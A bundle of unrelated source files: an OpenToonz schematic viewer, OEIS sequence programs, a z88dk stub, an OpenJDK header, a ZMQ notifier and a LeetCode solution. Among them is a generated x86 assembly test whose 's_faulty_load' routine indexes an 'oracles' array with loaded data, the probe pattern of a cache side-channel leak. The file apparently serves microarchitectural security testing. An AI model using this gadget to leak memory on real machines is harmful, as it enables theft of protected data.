m_fxScene->updateScene();
}
//------------------------------------------------------------------
void SchematicViewer::setSchematicScene(SchematicScene *scene) {
if (scene) {
m_viewer->setScene(scene);
m_viewer->centerOn(scene->sceneRect().center());
}
}
//------------------------------------------------------------------
void SchematicViewer::createToolbars() {
// Initialize them
m_stageToolbar->setMovable(false);
m_stageToolbar->setIconSize(QSize(17, 17));
m_stageToolbar->setLayoutDirection(Qt::RightToLeft);
m_stageToolbar->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
m_commonToolbar->setMovable(false);
m_commonToolbar->setIconSize(QSize(17, 17));
m_commonToolbar->setLayoutDirection(Qt::RightToLeft);
m_commonToolbar->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
m_fxToolbar->setMovable(false);
m_fxToolbar->setIconSize(QSize(17, 17));
m_fxToolbar->setLayoutDirection(Qt::RightToLeft);
m_fxToolbar->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
m_swapToolbar->setMovable(false);
m_swapToolbar->setIconSize(QSize(17, 17));
m_swapToolbar->setLayoutDirection(Qt::RightToLeft);
m_swapToolbar->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
}
//------------------------------------------------------------------
void SchematicViewer::createActions() {
// Create all actions
QAction *addPegbar = 0, *addSpline = 0, *addCamera = 0, *insertFx = 0,
*addOutputFx = 0, *switchPort = 0, *iconifyNodes = 0;
{
// Fit schematic
QIcon fitSchematicIcon = createQIconOnOff("fit", false);
m_fitSchematic =
new QAction(fitSchematicIcon, tr("&Fit to Window"), m_commonToolbar);
connect(m_fitSchematic, SIGNAL(triggered()), m_viewer, SLOT(fitScene()));
// Center On
QIcon centerOnIcon = createQIconOnOff("centerselection", false);
m_centerOn =
new QAction(centerOnIcon, tr("&Focus on Current"), m_commonToolbar);
connect(m_centerOn, SIGNAL(triggered()), m_viewer, SLOT(centerOnCurrent()));
// Reorder schematic
QIcon reorderIcon = createQIconOnOff("reorder", false);
m_reorder = new QAction(reorderIcon, tr("&Reorder Nodes"), m_commonToolbar);
connect(m_reorder, SIGNAL(triggered()), m_viewer, SLOT(reorderScene()));
// Normalize schematic schematic
QIcon normalizeIcon = createQIconOnOff("resetsize", false);
m_normalize =
new QAction(normalizeIcon, tr("&Reset Size"), m_commonToolbar);
connect(m_normalize, SIGNAL(triggered()), m_viewer, SLOT(normalizeScene()));
QIcon nodeSizeIcon = createQIconOnOff(
m_maximizedNode ? "minimizenodes" : "maximizenodes", false);
m_nodeSize = new QAction(
nodeSizeIcon,
m_maximizedNode ? tr("&Minimize Nodes") : tr("&Maximize Nodes"),
m_commonToolbar);
connect(m_nodeSize, SIGNAL(triggered()), this, SLOT(changeNodeSize()));
if (m_fullSchematic) {
// AddPegbar
addPegbar = new QAction(tr("&New Pegbar"), m_stageToolbar);
QIcon addPegbarIcon = createQIconOnOff("pegbar", false);
addPegbar->setIcon(addPegbarIcon);
connect(addPegbar, SIGNAL(triggered()), m_stageScene,
SLOT(onPegbarAdded()));
// AddCamera
addCamera = new QAction(tr("&New Camera"), m_stageToolbar);
QIcon addCameraIcon = createQIconOnOff("camera", false);
addCamera->setIcon(addCameraIcon);
connect(addCamera, SIGNAL(triggered()), m_stageScene,
SLOT(onCameraAdded()));
// AddSpline
addSpline = new QAction(tr("&New Motion Path"), m_stageToolbar);
QIcon addSplineIcon = createQIconOnOff("motionpath", false);
addSpline->setIcon(addSplineIcon);
connect(addSpline, SIGNAL(triggered()), m_stageScene,
SLOT(onSplineAdded()));
// Switch display of stage schematic's output port
switchPort =
new QAction(tr("&Swtich output port display mode"), m_stageToolbar);
switchPort->setCheckable(true);
switchPort->setChecked(m_stageScene->isShowLetterOnPortFlagEnabled());
QIcon switchPortIcon = createQIconOnOff("switchport");
switchPort->setIcon(switchPortIcon);
connect(switchPort, SIGNAL(toggled(bool)), m_stageScene,
SLOT(onSwitchPortModeToggled(bool)));
// InsertFx
insertFx = CommandManager::instance()->getAction("MI_InsertFx");
if (insertFx) {
QIcon insertFxIcon = createQIconOnOff("fx", false);
insertFx->setIcon(insertFxIcon);
}
// AddOutputFx
addOutputFx = CommandManager::instance()->getAction("MI_NewOutputFx");
// Iconify Fx nodes
iconifyNodes = new QAction(tr("&Toggle node icons"), m_fxToolbar);
iconifyNodes->setCheckable(true);
iconifyNodes->setChecked(!m_fxScene->isNormalIconView());
QIcon iconifyNodesIcon = createQIconOnOff("iconifynodes");
iconifyNodes->setIcon(iconifyNodesIcon);
connect(iconifyNodes, SIGNAL(toggled(bool)), m_fxScene,
SLOT(onIconifyNodesToggled(bool)));
// Swap fx/stage schematic
QIcon changeSchematicIcon = createQIconOnOff("swap", false);
m_changeScene =
CommandManager::instance()->getAction("A_FxSchematicToggle", true);
if (m_changeScene) {
m_changeScene->setIcon(changeSchematicIcon);
connect(m_changeScene, SIGNAL(triggered()), this,
SLOT(onSceneChanged()));
} else
m_changeScene = 0;
}
}
// Add actions to toolbars (in reverse)
m_commonToolbar->addSeparator();
m_commonToolbar->addAction(m_nodeSize);
m_commonToolbar->addAction(m_normalize);
m_commonToolbar->addAction(m_reorder);
m_commonToolbar->addAction(m_centerOn);
m_commonToolbar->addAction(m_fitSchematic);
if (m_fullSchematic) {
m_stageToolbar->addSeparator();
m_stageToolbar->addAction(switchPort);
m_stageToolbar->addSeparator();
m_stageToolbar->addAction(addSpline);
m_stageToolbar->addAction(addCamera);
m_stageToolbar->addAction(addPegbar);
m_fxToolbar->addSeparator();
m_fxToolbar->addAction(iconifyNodes);
m_fxToolbar->addSeparator();
m_fxToolbar->addAction(addOutputFx);
m_fxToolbar->addAction(insertFx);
if (m_changeScene) m_swapToolbar->addAction(m_changeScene);
}
}
//------------------------------------------------------------------
void SchematicViewer::setStageSchematic() {
if (m_viewer->scene() != m_stageScene) {
m_viewer->setScene(m_stageScene);
QRectF rect = m_stageScene->itemsBoundingRect();
m_viewer->resetMatrix();
m_viewer->centerOn(rect.center());
m_fxToolbar->hide();
m_stageToolbar->show();
m_viewer->update();
}
parentWidget()->setWindowTitle(QObject::tr("Stage Schematic"));
}
//------------------------------------------------------------------
void SchematicViewer::setFxSchematic() {
if (m_viewer->scene() != m_fxScene) {
m_viewer->setScene(m_fxScene);
QRectF rect = m_fxScene->itemsBoundingRect();
m_viewer->resetMatrix();
m_viewer->centerOn(rect.center());
m_stageToolbar->hide();
m_fxToolbar->show();
// check if the fx scene was small scaled (icon view mode)
if (!m_fxScene->isNormalIconView()) m_fxScene->updateScene();
m_viewer->update();
}
parentWidget()->setWindowTitle(QObject::tr("FX Schematic"));
}
//------------------------------------------------------------------
void SchematicViewer::onSceneChanged() {
if (!hasFocus()) return;
QGraphicsScene *scene = m_viewer->scene();
if (scene == m_fxScene)
setStageSchematic();
else if (scene == m_stageScene)
setFxSchematic();
}
//------------------------------------------------------------------
void SchematicViewer::onSceneSwitched() {
m_maximizedNode = m_fxScene->getXsheetHandle()
->getXsheet()
->getFxDag()
->getDagGridDimension() == 0;
QIcon nodeSizeIcon = createQIconOnOff(
m_maximizedNode ? "minimizenodes" : "maximizenodes", false);
m_nodeSize->setIcon(nodeSizeIcon);
QString label(m_maximizedNode ? tr("&Minimize Nodes")
: tr("&Maximize Nodes"));
m_nodeSize->setText(label);
// reset schematic
m_viewer->resetMatrix();
m_viewer->centerOn(m_viewer->scene()->itemsBoundingRect().center());
if (m_viewer->scene() == m_fxScene && !m_fxScene->isNormalIconView())
m_fxScene->updateScene();
}
//------------------------------------------------------------------
bool SchematicViewer::isStageSchematicViewed() {
QGraphicsScene *scene = m_viewer->scene();
return scene == m_stageScene;
}
//------------------------------------------------------------------
void SchematicViewer::setStageSchematicViewed(bool isStageSchematic) {
if (!m_fullSchematic) isStageSchematic = true;
if (isStageSchematic == isStageSchematicViewed()) return;
if (isStageSchematic)
setStageSchematic();
else
setFxSchematic();
}
//------------------------------------------------------------------
void SchematicViewer::updateScenes() {
TStageObjectId id = m_stageScene->getCurrentObject();
if (id.isColumn()) {
m_stageScene->update();
TXsheet *xsh = m_stageScene->getXsheetHandle()->getXsheet();
if (!xsh) return;
TXshColumn *column = xsh->getColumn(id.getIndex());
if (!column) {
m_fxScene->getFxHandle()->setFx(0, false);
return;
}
TFx *fx = column->getFx();
m_fxScene->getFxHandle()->setFx(fx, false);
m_fxScene->update();
}
}
//------------------------------------------------------------------
void SchematicViewer::changeNodeSize() {
m_maximizedNode = !m_maximizedNode;
// aggiono l'icona del pulsante;
m_fxScene->resizeNodes(m_maximizedNode);
m_stageScene->resizeNodes(m_maximizedNode);
QIcon nodeSizeIcon = createQIconOnOff(
m_maximizedNode ? "minimizenodes" : "maximizenodes", false);
m_nodeSize->setIcon(nodeSizeIcon);
QString label(m_maximizedNode ? tr("&Minimize Nodes")
: tr("&Maximize Nodes"));
m_nodeSize->setText(label);
}
//------------------------------------------------------------------
QColor SchematicViewer::getSelectedNodeTextColor() {
// get colors
TPixel currentColumnPixel;
Preferences::instance()->getCurrentColumnData(currentColumnPixel);
QColor currentColumnColor((int)currentColumnPixel.r,
(int)currentColumnPixel.g,
(int)currentColumnPixel.b, 255);
return currentColumnColor;
}
|
; A006530: Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
; 1,2,3,2,5,3,7,2,3,5,11,3,13,7,5,2,17,3,19,5,7,11,23,3,5,13,3,7,29,5,31,2,11,17,7,3,37,19,13,5,41,7,43,11,5,23,47,3,7,5,17,13,53,3,11,7,19,29,59,5,61,31,7,2,13,11,67,17,23,7,71,3,73,37,5,19,11,13,79,5,3,41,83,7,17,43,29,11,89,5,13,23,31,47,19,3,97,7,11,5,101,17,103,13,7,53,107,3,109,11,37,7,113,19,23,29,13,59,17,5,11,61,41,31,5,7,127,2,43,13,131,11,19,67,5,17,137,23,139,7,47,71,13,3,29,73,7,37,149,5,151,19,17,11,31,13,157,79,53,5,23,3,163,41,11,83,167,7,13,17,19,43,173,29,7,11,59,89,179,5,181,13,61,23,37,31,17,47,7,19,191,3,193,97,13,7,197,11,199,5,67,101,29,17,41,103,23,13,19,7,211,53,71,107,43,3,31,109,73,11,17,37,223,7,5,113,227,19,229,23,11,29,233,13,47,59,79,17,239,5,241,11,3,61,7,41,19,31,83,5
mov $1,$0
cal $0,52126 ; a(1) = 1; for n>1, a(n)=n/(largest prime dividing n).
div $1,$0
add $1,29
mul $1,100
sub $1,2900
div $1,100
add $1,1
|
; int dup2(int fd, int fd2)
SECTION code_clib
SECTION code_fcntl
PUBLIC dup2_callee
EXTERN asm_dup2
dup2_callee:
pop hl
pop de
ex (sp),hl
jp asm_dup2
|
/*
* Copyright (c) 2017, 2021, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*
*/
#ifndef SHARE_JFR_LEAKPROFILER_UTILITIES_ROOTTYPE_HPP
#define SHARE_JFR_LEAKPROFILER_UTILITIES_ROOTTYPE_HPP
#include "gc/shared/oopStorageSet.hpp"
#include "memory/allocation.hpp"
#include "utilities/enumIterator.hpp"
class OldObjectRoot : public AllStatic {
public:
enum System {
_system_undetermined,
_universe,
_threads,
_strong_oop_storage_set_first,
_strong_oop_storage_set_last = _strong_oop_storage_set_first + EnumRange<OopStorageSet::StrongId>().size() - 1,
_class_loader_data,
_code_cache,
JVMCI_ONLY(_jvmci COMMA)
_number_of_systems
};
enum Type {
_type_undetermined,
_stack_variable,
_local_jni_handle,
_global_jni_handle,
_global_oop_handle,
_handle_area,
_number_of_types
};
static OopStorage* system_oop_storage(System system);
static const char* system_description(System system);
static const char* type_description(Type type);
};
#endif // SHARE_JFR_LEAKPROFILER_UTILITIES_ROOTTYPE_HPP
|
// Copyright (c) 2015 The Bitcoin Core developers
// Copyright (c) 2021 The GLOBALSMARTASSET Core Developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "zmqnotificationinterface.h"
#include "zmqpublishnotifier.h"
#include "version.h"
#include "main.h"
#include "streams.h"
#include "util.h"
void zmqError(const char *str)
{
LogPrint(BCLog::ZMQ, "Error: %s, errno=%s\n", str, zmq_strerror(errno));
}
CZMQNotificationInterface::CZMQNotificationInterface() : pcontext(NULL)
{
}
CZMQNotificationInterface::~CZMQNotificationInterface()
{
Shutdown();
for (std::list<CZMQAbstractNotifier*>::iterator i=notifiers.begin(); i!=notifiers.end(); ++i)
{
delete *i;
}
}
CZMQNotificationInterface* CZMQNotificationInterface::CreateWithArguments(const std::map<std::string, std::string> &args)
{
CZMQNotificationInterface* notificationInterface = NULL;
std::map<std::string, CZMQNotifierFactory> factories;
std::list<CZMQAbstractNotifier*> notifiers;
factories["pubhashblock"] = CZMQAbstractNotifier::Create<CZMQPublishHashBlockNotifier>;
factories["pubhashtx"] = CZMQAbstractNotifier::Create<CZMQPublishHashTransactionNotifier>;
factories["pubhashtxlock"] = CZMQAbstractNotifier::Create<CZMQPublishHashTransactionLockNotifier>;
factories["pubrawblock"] = CZMQAbstractNotifier::Create<CZMQPublishRawBlockNotifier>;
factories["pubrawtx"] = CZMQAbstractNotifier::Create<CZMQPublishRawTransactionNotifier>;
factories["pubrawtxlock"] = CZMQAbstractNotifier::Create<CZMQPublishRawTransactionLockNotifier>;
for (std::map<std::string, CZMQNotifierFactory>::const_iterator i=factories.begin(); i!=factories.end(); ++i)
{
std::map<std::string, std::string>::const_iterator j = args.find("-zmq" + i->first);
if (j!=args.end())
{
CZMQNotifierFactory factory = i->second;
std::string address = j->second;
CZMQAbstractNotifier *notifier = factory();
notifier->SetType(i->first);
notifier->SetAddress(address);
notifiers.push_back(notifier);
}
}
if (!notifiers.empty())
{
notificationInterface = new CZMQNotificationInterface();
notificationInterface->notifiers = notifiers;
if (!notificationInterface->Initialize())
{
delete notificationInterface;
notificationInterface = NULL;
}
}
return notificationInterface;
}
// Called at startup to conditionally set up ZMQ socket(s)
bool CZMQNotificationInterface::Initialize()
{
LogPrint(BCLog::ZMQ, "Initialize notification interface\n");
assert(!pcontext);
pcontext = zmq_init(1);
if (!pcontext)
{
zmqError("Unable to initialize context");
return false;
}
std::list<CZMQAbstractNotifier*>::iterator i=notifiers.begin();
for (; i!=notifiers.end(); ++i)
{
CZMQAbstractNotifier *notifier = *i;
if (notifier->Initialize(pcontext))
{
LogPrint(BCLog::ZMQ, "Notifier %s ready (address = %s)\n", notifier->GetType(), notifier->GetAddress());
}
else
{
LogPrint(BCLog::ZMQ, "Notifier %s failed (address = %s)\n", notifier->GetType(), notifier->GetAddress());
break;
}
}
if (i!=notifiers.end())
{
return false;
}
return true;
}
// Called during shutdown sequence
void CZMQNotificationInterface::Shutdown()
{
LogPrint(BCLog::ZMQ, "Shutdown notification interface\n");
if (pcontext)
{
for (std::list<CZMQAbstractNotifier*>::iterator i=notifiers.begin(); i!=notifiers.end(); ++i)
{
CZMQAbstractNotifier *notifier = *i;
LogPrint(BCLog::ZMQ, "Shutdown notifier %s at %s\n", notifier->GetType(), notifier->GetAddress());
notifier->Shutdown();
}
zmq_ctx_destroy(pcontext);
pcontext = 0;
}
}
void CZMQNotificationInterface::UpdatedBlockTip(const CBlockIndex *pindex)
{
for (std::list<CZMQAbstractNotifier*>::iterator i = notifiers.begin(); i!=notifiers.end(); )
{
CZMQAbstractNotifier *notifier = *i;
if (notifier->NotifyBlock(pindex))
{
i++;
}
else
{
notifier->Shutdown();
i = notifiers.erase(i);
}
}
}
void CZMQNotificationInterface::SyncTransaction(const CTransaction& tx, const CBlockIndex* pindex, int posInBlock)
{
for (std::list<CZMQAbstractNotifier*>::iterator i = notifiers.begin(); i!=notifiers.end(); )
{
CZMQAbstractNotifier *notifier = *i;
if (notifier->NotifyTransaction(tx))
{
i++;
}
else
{
notifier->Shutdown();
i = notifiers.erase(i);
}
}
}
void CZMQNotificationInterface::NotifyTransactionLock(const CTransaction &tx)
{
for (std::list<CZMQAbstractNotifier*>::iterator i = notifiers.begin(); i!=notifiers.end(); )
{
CZMQAbstractNotifier *notifier = *i;
if (notifier->NotifyTransactionLock(tx))
{
i++;
}
else
{
notifier->Shutdown();
i = notifiers.erase(i);
}
}
}
|
; A050250: Number of nonzero palindromes less than 10^n.
; 9,18,108,198,1098,1998,10998,19998,109998,199998,1099998,1999998,10999998,19999998,109999998,199999998,1099999998,1999999998,10999999998,19999999998,109999999998,199999999998,1099999999998,1999999999998,10999999999998,19999999999998,109999999999998,199999999999998,1099999999999998,1999999999999998
mov $16,$0
mov $18,$0
add $18,1
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
sub $11,1
add $0,$11
sub $0,1
mov $1,10
mov $7,$0
mul $7,4
div $7,8
pow $1,$7
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
mul $1,9
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x107a5, %rbx
nop
nop
nop
nop
dec %r15
movb $0x61, (%rbx)
nop
cmp %rbx, %rbx
lea addresses_WT_ht+0x184dd, %rsi
lea addresses_WC_ht+0x1e779, %rdi
clflush (%rsi)
nop
xor $35249, %rbp
mov $108, %rcx
rep movsw
dec %rbp
lea addresses_WC_ht+0x1df39, %rsi
dec %rbp
and $0xffffffffffffffc0, %rsi
vmovaps (%rsi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r15
nop
nop
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x13039, %rbx
nop
nop
nop
nop
add $25549, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
movups %xmm0, (%rbx)
nop
nop
nop
nop
nop
sub $6071, %r14
lea addresses_normal_ht+0x1d539, %rsi
lea addresses_normal_ht+0x138b9, %rdi
nop
nop
sub $19828, %r12
mov $92, %rcx
rep movsb
nop
nop
nop
nop
xor %r15, %r15
lea addresses_A_ht+0x1daa9, %rsi
lea addresses_WC_ht+0xcf39, %rdi
clflush (%rdi)
add $44569, %r15
mov $53, %rcx
rep movsb
sub %rcx, %rcx
lea addresses_WC_ht+0x13299, %rsi
nop
nop
nop
nop
xor $45465, %r14
mov $0x6162636465666768, %r12
movq %r12, %xmm7
and $0xffffffffffffffc0, %rsi
movntdq %xmm7, (%rsi)
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_WC_ht+0x2839, %rsi
sub %r14, %r14
mov $0x6162636465666768, %rdi
movq %rdi, %xmm6
movups %xmm6, (%rsi)
nop
nop
and %r14, %r14
lea addresses_UC_ht+0xb0b1, %r12
nop
nop
nop
nop
nop
and %r14, %r14
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%r12)
nop
nop
nop
dec %rbx
lea addresses_D_ht+0x15739, %rbx
nop
nop
nop
nop
nop
dec %r15
movw $0x6162, (%rbx)
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_WT_ht+0xc939, %rsi
lea addresses_D_ht+0xfd21, %rdi
nop
nop
mfence
mov $23, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WC_ht+0x167f9, %rsi
lea addresses_UC_ht+0xa839, %rdi
nop
nop
nop
nop
nop
xor %rbp, %rbp
mov $48, %rcx
rep movsq
nop
nop
sub %rdi, %rdi
lea addresses_UC_ht+0x1e039, %rbp
nop
sub %rbx, %rbx
movb (%rbp), %r14b
nop
nop
nop
xor $7075, %rbx
lea addresses_D_ht+0x13709, %rcx
nop
nop
nop
xor $1396, %rbp
movl $0x61626364, (%rcx)
nop
nop
nop
nop
cmp %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdx
push %rsi
// Store
lea addresses_WC+0x13f91, %rcx
sub $8708, %rax
mov $0x5152535455565758, %r13
movq %r13, (%rcx)
nop
nop
nop
nop
inc %rdx
// Faulty Load
lea addresses_RW+0xbf39, %rax
nop
nop
nop
nop
nop
xor $53595, %rsi
movups (%rax), %xmm1
vpextrq $0, %xmm1, %r14
lea oracles, %r8
and $0xff, %r14
shlq $12, %r14
mov (%r8,%r14,1), %r14
pop %rsi
pop %rdx
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'src': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': True, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': True}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'src': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
//leetcode.com/problems/rotate-array/
#include <bits/stdc++.h>
using namespace std;
class Solution {
public:
void reverseArray(vector<int>& nums, int start, int end) {
while (start <= end) {
swap(nums[start], nums[end]);
++start;
--end;
}
}
void rotate(vector<int>& nums, int k) {
if (nums.size() == 1) {
return;
}
if (nums.size() <= k) {
k = (k % nums.size());
}
reverseArray(nums, 0, nums.size() - k - 1);
reverseArray(nums, nums.size() - k, nums.size() - 1);
reverseArray(nums, 0, nums.size() - 1);
}
}; |
; A120743: a(n) = (1/2)*(1 + 3*i)^n + (1/2)*(1 - 3*i)^n where i = sqrt(-1).
; 1,-8,-26,28,316,352,-2456,-8432,7696,99712,122464,-752192,-2729024,2063872,31417984,42197248,-229785344,-881543168,534767104,9884965888,14422260736,-70005137408,-284232882176,131585609728,3105500041216,4895143985152,-21264712441856,-91480864735232,29685394948096,974179437248512,1651504925016064,-6438784522452992
add $0,1
mov $1,2
mov $2,1
lpb $0
sub $0,1
mul $1,5
mul $2,2
sub $2,$1
add $1,$2
lpe
sub $1,2
div $1,18
mul $1,9
add $1,1
|
; A346683: a(n) = Sum_{k=0..n} (-1)^(n-k) * binomial(7*k,k) / (6*k + 1).
; Submitted by Jon Maiga
; 1,0,7,63,756,9716,132062,1865626,27124049,403197584,6100155272,93626517858,1454221328232,22815183746508,361030984965596,5755543515895284,92350704790963431,1490287557170676816,24171116970619575559,393808998160695560841,6442255541764422795759,105775126468573228387377,1742512182126901132692333,28793037003684480658696067,477097692674169480522239863,7925700148155494093244078719,131975137267242358217029388173,2202389557945647598506742931481,36827763626046338240300660520559
mov $3,$0
mov $5,$0
add $5,1
lpb $5
mov $0,$3
sub $5,1
sub $0,$5
mov $2,6
mul $2,$0
add $0,$2
bin $0,$2
add $2,1
